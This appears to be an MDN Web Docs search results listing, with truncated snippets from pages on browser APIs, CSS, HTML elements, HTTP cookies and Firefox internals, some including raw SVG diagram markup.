...you'll find an overview of the plug-in api methods in this chapter, as well as separate chapters for all of the major functional areas of the plug-in api.
... when it starts up, the browser checks for plug-in modules for the platform and registers them.
...And 22 more matches
Debugger.Script - Firefox Developer Tools
each of the following is represented by a single jsscript object: the body of a function—that is, all the code in the function that is not contained within some nested function.
... a dom event handler, whether embedded in html or attached to the element by other javascript code.
...for a given debugger instance, spidermonkey constructs exactly one debugger.script instance for each underlying script object; debugger code can add its own properties to a script object and expect to find them later, use == to decide whether two expressions refer to the same script, and so on.
...And 22 more matches
Settings - Firefox Developer Tools
opening settings beginning with firefox 62, the icon to open developer tools settings has been moved into a menu accessed by clicking/touching ...
...you can choose between the default setting at the bottom of the windows, or move the tools to the left or right side of the screen.
...you can also choose to open the tools in a separate window.
...And 22 more matches
Drawing shapes with canvas - Web APIs
luckily, we have an assortment of path drawing functions which make it possible to compose very complex shapes.
... each of these three functions takes the same parameters.
... screenshotlive sample the fillrect() function draws a large black square 100 pixels on each side.
...And 22 more matches
Event - Web APIs
WebAPIEvent
the event interface represents an event which takes place in the dom.
...clicking the mouse button or tapping keyboard, or generated by apis to represent the progress of an asynchronous task.
... it can also be triggered programmatically, such as by calling the htmlelement.click() method of an element, or by defining the event, then sending it to a specified target using eventtarget.dispatchevent().
...And 22 more matches
Using the Gamepad API - Web APIs
html5 introduced many of the necessary components for rich, interactive game development.
... technologies like <canvas>, webgl, <audio>, and <video>, along with javascript implementations, have matured to the point where they can now support many tasks previously requiring native code.
...in addition to these events, the api also adds a gamepad object, which you can use to query the state of a connected gamepad, and a navigator.getgamepads() method which you can use to get a list of gamepads known to the page.
...And 22 more matches
HTMLElement - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, element, and implements those from documentandelementeventhandlers, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement and toucheventhandlers.
...And 22 more matches
HTMLTextAreaElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltextareaelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
...And 22 more matches
SVGSVGElement - Web APIs
this interface contains also various miscellaneous commonly-used utility methods, such as matrix operations and the ability to control the time of redraw on visual rendering devices.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...And 22 more matches
Using server-sent events - Web APIs
for example, assuming the client script is on example.com: const evtsource = new eventsource("//api.example.com/ssedemo.php", { withcredentials: true } ); once you've instantiated your event source, you can begin listening for messages from the server by attaching a handler for the message event: evtsource.onmessage = function(event) { const newelement = document.createelement("li"); const eventlist = document.getelementbyid("list"); newelement.innerhtml = "message: " + event.data; eventlist.appendchild(newelement); } this code listens for incoming messages (that is, notices from the server that do not have an event field on them) and append...
... you can also listen for events with addeventlistener(): evtsource.addeventlistener("ping", function(event) { const newelement = document.createelement("li"); const time = json.parse(event.data).time; newelement.innerhtml = "ping at " + time; eventlist.appendchild(newelement); }); this code is similar, except that it will be called automatically whenever the server sends a message with the event field set to "ping"; it then parses the json in the data field and outputs that information.
... when not used over http/2, sse suffers from a limitation to the maximum number of open connections, which can be especially painful when opening multiple tabs, as the limit is per browser and is set to a very low number (6).
...And 22 more matches
Lifetime of a WebRTC session - Web APIs
this article doesn't get into details of the actual apis involved in establishing and handling a webrtc connection; it simply reviews the process in general with some information about why each step is required.
...network address translation (nat) is a standard which supports this address sharing by handling routing of data inbound and outbound to and from devices on a lan, all of which are sharing a single wan (global) ip address.
... the problem for users is that each individual computer on the internet no longer necessarily has a unique ip address, and, in fact, each device’s ip address may change not only if they move from one network to another, but if their network’s address is changed by nat and/or dhcp.
...And 22 more matches
Writing WebSocket servers - Web APIs
the task of creating a custom server tends to scare people; however, it can be straightforward to implement a simple websocket server on your platform of choice.
... a websocket server can be written in any server-side programming language that is capable of berkeley sockets, such as c(++), python, php, or server-side javascript.
...websocket servers are often separate and specialized servers (for load-balancing or other practical reasons), so you will often use a reverse proxy (such as a regular http server) to detect websocket handshakes, pre-process them, and send those clients to a real websocket server.
...And 22 more matches
Box-shadow generator - CSS: Cascading Style Sheets
data-type="subject" data-title=":before"> :before <span class="delete" data-type="disable"></span> </div> <div class="button" id="after" data-type="subject" data-title=":after"> :after <span class="delete" data-type="disable"></span> </div> <div class="ui-checkbox" data-topic='before' data-label=":before"></div> <div class="ui-checkbox" data-topic='after' data-label=":after"></div> </div> <div id="preview"> <div id="obj-element"> <div class="content"> </div> <div id="obj-before"> </div> <div id="obj-after"> </div> </div...
... </div> </div> </div> <div class="wrap-right"> <div id="shadow_properties" class="category"> <div class="title"> shadow properties </div> <div class="group"> <div class="group property"> <div class="ui-slider-name"> inset </div> <div class="ui-checkbox" data-topic='inset'></div> </div> <div class="slidergroup"> <div class="ui-slider-name"> position x </div> <div class="ui-slider-btn-set" data-topic="posx" data-type="sub"></div> <div class="ui-slider" data-topic="posx" data-min="-500" data-max="500" da...
..."px"></div> </div> </div> </div> <div id="element_properties" class="category"> <div class="title"> class element properties </div> <div class="group"> <div class="group property"> <div class="ui-slider-name"> border </div> <div class="ui-checkbox" data-topic='border-state' data-state="true"></div> </div> <div id="z-index" class="slidergroup"> <div class="ui-slider-name"> z-index </div> <div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"></div> <div class="ui-slider" data-topic="z-index" ...
...And 22 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
css grid layout implements the specification box alignment level 3 which is the same standard flexbox uses for aligning items in its flex container.
...due to grid being two-dimensional and flexbox one-dimensional there are some small differences that you should watch out for.
...the block axis is the axis upon which blocks are laid out in block layout.
...And 22 more matches
position - CSS: Cascading Style Sheets
WebCSSposition
syntax the position property is specified as a single keyword chosen from the list of values below.
...it is positioned relative to the initial containing block established by the viewport, except when one of its ancestors has a transform, perspective, or filter property set to something other than none (see the css transforms spec), in which case that ancestor behaves as the containing block.
...note that a sticky element "sticks" to its nearest ancestor that has a "scrolling mechanism" (created when overflow is hidden, scroll, auto, or overlay), even if that ancestor isn't the nearest actually scrolling ancestor.
...And 22 more matches
Live streaming web audio and video - Developer guides
live streaming technology is often employed to relay live events such as sports, concerts and more generally tv and radio programmes that are output live.
...usually, we require different formats and special server-side software to achieve this.
... adaptive streaming one of the main priorities for live streaming is to keep the player synchronized with the stream: adaptive streaming is a technique for doing this in the case of low bandwidth.
...And 22 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
WebHTMLElementimg
the alt attribute holds a text description of the image, which isn't mandatory but is incredibly useful for accessibility — screen readers read this description out to their users so they know what the image means.
... there are many other attributes to achieve various purposes: referrer/cors control for security and privacy: see crossorigin and referrerpolicy.
... supported image formats the html standard doesn't list what image formats to support, so each user agent supports different formats.
...And 22 more matches
<input type="date"> - HTML: Hypertext Markup Language
WebHTMLElementinputdate
among browsers with custom interfaces for selecting dates are chrome and opera, whose data control looks like so: the edge date control looks like: and the firefox date control looks like this: value a domstring representing a date in yyyy-mm-dd format, or empty events change and input supported common attributes autocomplete, list, readonly, and step idl attributes list, value, valueasdate, valueasnumbe...
... step the step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below.
... only values which are equal to the basis for stepping (min if specified, value otherwise, and an appropriate default value if neither of those is provided) are valid.
...And 22 more matches
<input type="week"> - HTML: Hypertext Markup Language
WebHTMLElementinputweek
the control's user interface varies from browser to browser; cross-browser support is currently a bit limited, with only chrome/opera and microsoft edge supporting it at this time.
... in chrome/opera the week control provides slots to fill in week and year values, a pop-up calendar interface to select them more visually, and an "x" button to clear the control's value.
... value a domstring representing a week and year, or empty events change and input supported common attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list.
...And 22 more matches
<tbody>: The Table Body element - HTML: Hypertext Markup Language
WebHTMLElementtbody
tag omission the <tbody> element is not a required child element for a parent <table> element to graphically render.
... however, it must not be present, if its parent <table> element has a <tr> element as a child.
... deprecated attributes align this enumerated attribute specifies how horizontal alignment of each cell content will be handled.
...And 22 more matches
Preloading content with rel="preload" - HTML: Hypertext Markup Language
the preload value of the <link> element's rel attribute lets you declare fetch requests in the html's <head>, specifying resources that your page will need very soon, which you want to start loading early in the page lifecycle, before browsers' main rendering machinery kicks in.
... the basics you most commonly use <link> to load a css file to style your page with: <link rel="stylesheet" href="styles/main.css"> here however, we will use a rel value of preload, which turns <link> into a preloader for any resource we want.
... a simple example might look like this (see our js and css example source, and also live): <head> <meta charset="utf-8"> <title>js and css preload example</title> <link rel="preload" href="style.css" as="style"> <link rel="preload" href="main.js" as="script"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>bouncing balls</h1> <canvas></canvas> <script src="main.js" defer></script> </body> here we preload our css and javascript files so they will be available as soon as they are required for the rendering of the page later on.
...And 22 more matches
Using HTTP cookies - HTTP
WebHTTPCookies
an expiration date or duration can be specified, after which the cookie is no longer sent.
...a simple cookie is set like this: set-cookie: <cookie-name>=<cookie-value> this shows the server sending headers to tell the client to store a pair of cookies: http/2.0 200 ok content-type: text/html set-cookie: yummy_cookie=choco set-cookie: tasty_cookie=strawberry [page content] then, with every subsequent request to the server, the browser sends back all previously stored cookies to the server using the cookie header.
... get /sample_page.html http/2.0 host: www.example.org cookie: yummy_cookie=choco; tasty_cookie=strawberry note: here's how to use the set-cookie header in various server-side applications: php node.js python ruby on rails define the lifetime of a cookie the lifetime of a cookie can be defined in two ways: session cookies are deleted when the current session ends.
...And 22 more matches
Array - JavaScript
the javascript array class is a global object that is used in the construction of arrays; which are high-level, list-like objects.
...since an array's length can change at any time, and data can be stored at non-contiguous locations in the array, javascript arrays are not guaranteed to be dense; this depends on how the programmer chooses to use them.
... in general, these are convenient characteristics; but if these features are not desirable for your particular use, you might consider using typed arrays.
...And 22 more matches
dominant-baseline - SVG: Scalable Vector Graphics
the dominant-baseline attribute specifies the dominant baseline, which is the baseline used to align the box’s text and inline-level contents.
... if the computed baseline-shift value actually shifts the baseline, then the baseline-table font-size component is set to the value of the font-size attribute on the element on which the dominant-baseline attribute occurs, otherwise the baseline-table font-size remains the same as that of the element.
... use-script the dominant-baseline and the baseline-table components are set by determining the predominant script of the character data content.
...And 22 more matches
Implementing controls using the Gamepad API - Game development
now in the era of html5, we finally have the gamepad api, which gives us the ability to play browser-based games using gamepad controllers without any plugins.
... the gamepad api achieves this by providing an interface exposing button presses and axis changes that can be used inside javascript code to handle the input.
... api status and browser support the gamepad api is still at the working draft stage in the w3c process, which means its implementation might still change, but saying that the browser support is already quite good.
...And 21 more matches
Styling lists - Learn web development
the unstyled example is available on github (check out the source code too.) the html for our list example looks like so: <h2>shopping (unordered) list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <ul> <li>hummus</li> <li>pita</li> <li>green salad</li> <li>halloumi</li> </ul> <h2>recipe (ordered) list</h2> <p>parag...
...raph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <ol> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hummus, and fried halloumi.</li> </ol> <h2>ingredient description list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <dl> <dt>hummus</dt> <dd>a thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd> <dt>pita</dt> <dd>a soft, slightly leav...
...ened flatbread.</dd> <dt>halloumi</dt> <dd>a semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.</dd> <dt>green salad</dt> <dd>that green healthy stuff that many of us just use to garnish kebabs.</dd> </dl> if you go to the live example now and investigate the list elements using browser developer tools, you'll notice a couple of styling defaults: the <ul> and <ol> elements have a top and bottom margin of 16px (1em) and a padding-left of 40px (2.5em.) the list items (<li> elements) have no set defaults for spacing.
...And 21 more matches
How to structure a web form - Learn web development
each time you want to create an html form, you must start it by using this element, nesting all the contents inside.
... many assistive technologies and browser plugins can discover <form> elements and implement special hooks to make them easier to use.
... many assistive technologies will use the <legend> element as if it is a part of the label of each control inside the corresponding <fieldset> element.
...And 21 more matches
Getting started with Ember - Learn web development
previous overview: client-side javascript frameworks next in our first ember article we will look at how ember works and what it's useful for, install the ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development.
... a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them.
...components are individual bundles of behavior, style, and markup — much like what other frontend frameworks provide, such as react, vue, and angular.
...And 21 more matches
Getting started with Vue - Learn web development
this allows you to create markup managed entirely by vue, which can improve developer experience and performance when dealing with complex applications.
...additionally, vue takes a "middle ground" approach to tooling like client-side routing and state management.
... in addition to allowing you to progressively integrate vue into your applications, vue also provides a progressive approach to writing markup.
...And 21 more matches
Message manager overview
in the initial version of multiprocess firefox there are two processes: the chrome process, also called the parent process, runs the browser ui (chrome) code and code inserted by extensions the content processes, also called the child processes, run all web content.
...at the top level, there are two different sorts of message managers: frame message managers: these enable chrome process code to load a script into a browser frame (essentially, a single browser tab) in the content process.
...if chrome code wants to run code in the content process so it can access web content, this is usually the sort of message manager to use.
...And 21 more matches
PopupNotifications.jsm
note: this code module is imported by firefox chrome windows, so you don't have to do it yourself in most extensions.
... method overview void locationchange(); notification getnotification(id, browser); void remove(notification); notification show(browser, id, message, anchorid, mainaction, secondaryactions, options); properties attribute type description ispanelopen boolean returns true if the notification panel is currently visible, false if it is not.
... methods locationchange() the consumer can call this method to let the popup notification module know that the current browser's location has changed.
...And 21 more matches
PromiseWorker.jsm
summary a promiseworker is a chromeworker except instead of calling postmessage() to send a message, you call post(), which returns a promise.
... javascript files imported into the worker scope and main thread scope which allows posting to the worker and receiving in the form of a promise.
... like chromeworker objects, promiseworker is mostly used for js-ctypes but it is not limited to that.
...And 21 more matches
Index
these resources are for anyone with an interest in the technical aspects involved in localization.
... 2 application translation with mercurial android, draft, editing, firefox, lightning, localization, mercurial, seamonkey, translate, patch, thunderbird first, get the required programs to compile mozilla applications like firefox and thunderbird from build instructions.
... 5 index localization found 42 pages: 6 l10n checks internationalization, localization, localization:tools, tools l10n checks is a python script and library similar to compare-locales.
...And 21 more matches
Investigating leaks using DMD heap scan mode
if you have a patch that introduces a leak, you are probably better off auditing all of the strong references that your patch creates before trying this.
... the build is going to be very slow, so you may need to disable some shutdown checks.
... first, in toolkit/components/terminator/nsterminator.cpp, delete everything in runwatchdog but the call to ns_setcurrentthreadname.
...And 21 more matches
Invariants
(one reason for this is that the object may have watchpoints set; the watchpoint machinery assumes that all objects with watched properties are native.
... (the jsval encoding depends on this.) the jsstackframe::down chain never forms a cycle.
... but note that a stack frame is not necessarily newer than the next stack frame down, thanks to generators!) an object's scope chain (found by chasing jsobject::fslots[jsslot_parent]) never forms a cycle.
...And 21 more matches
JSAPI reference
the reference applies this versioning scheme retroactively starting with firefox 5.
... firefox 4 is the last release that has a corresponding spidermonkey release with the old scheme, where the jsapi has the version 1.8.5.
...tparentruntime added in spidermonkey 31 js_getobjectruntime added in spidermonkey 17 js_getcontextprivate js_setcontextprivate js_getsecondcontextprivate added in spidermonkey 17 js_setsecondcontextprivate added in spidermonkey 17 js_setinterruptcallback added in spidermonkey 31 js_getinterruptcallback added in spidermonkey 31 js_requestinterruptcallback added in spidermonkey 31 js_checkforinterrupt added in jsapi 45 js_destroycontextmaybegc obsolete since jsapi 14 js_setbranchcallback obsolete since javascript 1.9.1 js_setoperationcallback obsolete since jsapi 30 js_getoperationcallback obsolete since jsapi 30 js_triggeroperationcallback obsolete since jsapi 30 js_clearoperationcallback obsolete since javascript 1.9.1 js_getoperationlimit obsolete since javascript 1...
...And 21 more matches
Querying Places
executing a query places queries have several basic parts: the query object: nsinavhistoryquery, holds the search parameters the query options: nsinavhistoryqueryoptions, allows configuration of the search result the history service: nsinavhistoryservice, executes the query the first first step is to create the query and options, and fill them with the parameters you want.
...the defaults for these objects will result in a query that returns all of your browser history in a flat list: chromeutils.definemodulegetter(this, "placesutils", "resource://gre/modules/placesutils.jsm"); // no query options set will get all history, sorted in database order, // which is nsinavhistoryqueryoptions.sort_by_none.
... results_as_uri: this is the default, and returns one result node of type result_type_uri for each uri that matches the query.
...And 21 more matches
nsILocalFile
66 introduced gecko 1.0 deprecated gecko 14 inherits from: nsifile last changed in gecko 1.0 implemented by: @mozilla.org/file/local;1.
... void initwithpath(in astring filepath); void launch(); prlibrarystar load(); native code only!
... appendrelativenativepath appends a relative, native character encoding, path to the current path of the nsilocalfile object.
...And 21 more matches
Mailnews and Mail code review requirements
this document describes the process for reviewing patches to the mozilla/mailnews and mozilla/mail directories.
... mailnews and mail review rules patches affecting thunderbird user experience or interfaces note: it is recommended that when working on bugs that affect user experience or interfaces, that ui-review is obtained at an early stage in the patch development process.
... getting early ui-reviews this reduces the chance that work is rejected due to needing further user experience changes, and hence is aimed at saving time for the developer and reviewers.
...And 21 more matches
AudioWorkletProcessor.process - Web APIs
the method is called synchronously from the audio rendering thread, once for each block of audio (also known as a rendering quantum) being directed through the processor's corresponding audioworkletnode.
... important: currently, audio data blocks are always 128 frames long—that is, they contain 128 32-bit floating-point samples for each of the inputs' channels.
... however, plans are already in place to revise the specification to allow the size of the audio blocks to be changed depending on circumstances (for example, if the audio hardware or cpu utilization is more efficient with larger block sizes).
...And 21 more matches
Introduction to the DOM - Web APIs
it represents the page so that programs can change the document structure, style, and content.
...the dom is an object-oriented representation of the web page, which can be modified with a scripting language such as javascript.
...though we focus exclusively on javascript in this reference documentation, implementations of the dom can be built for any language, as this python example demonstrates: # python dom example import xml.dom.minidom as m doc = m.parse(r"c:\projects\py\chap1.xml") doc.nodename # dom property of document object p_list = doc.getelementsbytagname("para") for more information on what technologies are involved in writing javascript on the web, see javascript technologies overview.
...And 21 more matches
HTMLTableElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltableelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...And 21 more matches
MediaTrackConstraints - Web APIs
the mediatrackconstraints dictionary is used to describe a set of capabilities and the value or values each can take on.
... for each constraint, you can typically specify an exact value you need, an ideal value you want, a range of acceptable values, and/or a value which you'd like to be as close to as possible.
...for example, because rtp doesn't provide some of these values during negotiation of a webrtc connection, a track associated with a rtcpeerconnection will not include certain values, such as facingmode or groupid.
...And 21 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
but webxr goes beyond that by adding the ability to track the location, orientation, and motion of the input devices which generate data used to determine the position and movement of individual parts of the viewer's body (with appropriate equipment).
... representing a position using a reference space as covered in defining spatial relationships with reference spaces in geometry and reference spaces in webxr, reference spaces establish a local coordinate system which is offset from another coordinate system that is itself defined by some other space.
... thus, a reference space can be used to define the position and orientation of a point and by extension the entire object for which that point is the origin.
...And 21 more matches
Web audio spatialization basics - Web APIs
the official term for this is spatialization, and this article will cover the basics of how to implement such a system.
... basics of spatialization in web audio, complex 3d spatializations are created using the pannernode, which in layman's terms is basically a whole lotta cool maths to make audio appear in 3d space.
...in 3d spaces, it's the only way to achieve realistic audio.
...And 21 more matches
window.postMessage() - Web APIs
normally, scripts on different pages are allowed to access each other if and only if the pages they originate from share the same protocol, port number, and host (also known as the "same-origin policy").
... window.postmessage() provides a controlled mechanism to securely circumvent this restriction (if used properly).
... broadly, one window may obtain a reference to another (e.g., via targetwindow = window.opener), and then dispatch a messageevent on it with targetwindow.postmessage().
...And 21 more matches
Using CSS transitions - CSS: Cascading Style Sheets
css transitions provide a way to control animation speed when changing css properties.
... instead of having property changes take effect immediately, you can cause the changes in a property to take place over a period of time.
... for example, if you change the color of an element from white to black, usually the change is instantaneous.
...And 21 more matches
CSS values and units - CSS: Cascading Style Sheets
refer to the page for each value type for more detailed information.
... textual data types <custom-ident> pre-defined keywords as an <ident> <string> <url> text data types are either <string>, a quoted series of characters, or an <ident>, a "css identifier" which is an unquoted string.
... when both quoted and unquoted user defined text values are permitted, the specification will list <custom-ident> | <string>, meaning quotes are optional, such as is the case with animation names: @keyframe validident { /* keyframes go here */ } @keyframe 'validstring' { /* keyframes go here */ } some text values are not valid if encompassed in quotes.
...And 21 more matches
break-before - CSS: Cascading Style Sheets
/* page break values */ break-before: avoid-page; break-before: page; break-before: left; break-before: right; break-before: recto; break-before: verso; /* column break values */ break-before: avoid-column; break-before: column; /* region break values */ break-before: avoid-region; break-before: region; /* global values */ break-before: inherit; break-before: initial; break-before: unset; each possible break point (in other words, each element boundary) is affected by three properties: the break-after value of the previous element, the break-before value of the next element, and the break-inside value of the containing element.
...if more than one of them are such a break, the one of the element that appears the latest in the flow is taken (i.e., the break-before value has precedence over the break-after value, which itself has precedence over the break-inside value).
... if any of the three concerned values is an avoid break value (avoid, avoid-page, avoid-region, or avoid-column), no such break will be applied at that point.
...And 21 more matches
<input type="color"> - HTML: Hypertext Markup Language
WebHTMLElementinputcolor
only simple colors (without alpha channel) are allowed though css colors has more formats, e.g.
... color names, functional notations and a hexadecimal format with an alpha channel.
... value a 7-character domstring specifying a <color> in lower-case hexadecimal notation events change and input supported common attributes autocomplete and list idl attributes list and value methods select() value the value of an <input> element of type color is always a domstring which contains a 7-character string specifying an rgb color in hexadecimal ...
...And 21 more matches
Global attributes - HTML: Hypertext Markup Language
the event handler attributes: onabort, onautocomplete, onautocompleteerror, onblur, oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncontextmenu, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfocus, oninput, oninvalid, onkeydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onloadstart, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmous...
...eup, onmousewheel, onpause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onsort, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting.
...this attribute consists of a space-separated list of characters.
...And 21 more matches
WebAssembly - JavaScript
